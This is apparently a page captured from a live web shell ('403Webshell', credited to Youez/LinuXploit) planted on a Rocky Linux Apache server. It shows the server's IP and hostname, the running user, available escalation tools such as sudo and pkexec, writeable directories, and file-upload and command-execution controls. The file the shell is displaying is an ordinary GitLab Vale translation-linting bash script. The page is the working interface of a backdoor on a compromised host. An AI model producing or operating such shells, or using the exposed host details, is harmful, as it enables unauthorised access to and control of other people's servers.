403Webshell
Server IP : 188.151.22.197  /  Your IP : 216.73.217.74
Web Server : Apache/2.4.62 (Rocky Linux) OpenSSL/3.5.5
System : Linux wsten.se 5.14.0-687.30.1.el9_8.x86_64 #1 SMP PREEMPT_DYNAMIC Mon Jul 27 13:09:21 UTC 2026 x86_64
User : apache ( 48)
PHP Version : 8.1.32
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : OFF  |  Sudo : ON  |  Pkexec : ON
Directory :  /opt/gitlab/embedded/service/gitlab-rails/scripts/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /opt/gitlab/embedded/service/gitlab-rails/scripts/i18n_lint_language_vale.sh
#!/usr/bin/env bash
# Universal language-specific Vale linting script
# Uses environment variables to configure language-specific behavior

set -euo pipefail

COLOR_RED="\e[31m"
COLOR_GREEN="\e[32m"
COLOR_RESET="\e[39m"

# Check required environment variables
if [ -z "${LANGUAGE_NAME:-}" ]; then
  echo -e "${COLOR_RED}ERROR: LANGUAGE_NAME environment variable is not set${COLOR_RESET}"
  exit 1
fi

if [ -z "${LANGUAGE_CODE:-}" ]; then
  echo -e "${COLOR_RED}ERROR: LANGUAGE_CODE environment variable is not set${COLOR_RESET}"
  exit 1
fi

cd "$(dirname "$0")/.." || exit 1
echo -e "INFO: Running ${LANGUAGE_NAME}-specific Vale linting at path $(pwd)...\n"
echo -e "INFO: Language Code: ${LANGUAGE_CODE}\n"

ERRORCODE=0

echo -e "${COLOR_GREEN}INFO: Running ${LANGUAGE_NAME}-specific Vale rules...${COLOR_RESET}\n"

# Run vale with either specified files or default path
if [ $# -gt 0 ]; then
  vale --config="doc-locale/${LANGUAGE_CODE}/.vale.ini" "$@" || {
    echo -e "${COLOR_RED}ERROR: ${LANGUAGE_NAME} Vale rules found issues in translation files${COLOR_RESET}\n"
    ((ERRORCODE++))
  }
else
  vale --config="doc-locale/${LANGUAGE_CODE}/.vale.ini" "doc-locale/${LANGUAGE_CODE}/" || {
    echo -e "${COLOR_RED}ERROR: ${LANGUAGE_NAME} Vale rules found issues in translation files${COLOR_RESET}\n"
    ((ERRORCODE++))
  }
fi

# Report results
if [ "$ERRORCODE" -ne 0 ]; then
  echo -e "\n${COLOR_RED}ERROR: ${LANGUAGE_NAME} Vale lint checks failed!${COLOR_RESET}\n"
  exit 1
else
  echo -e "\n${COLOR_GREEN}SUCCESS: All ${LANGUAGE_NAME} Vale lint checks passed${COLOR_RESET}\n"
  exit 0
fi

Youez - 2016 - github.com/yon3zu
LinuXploit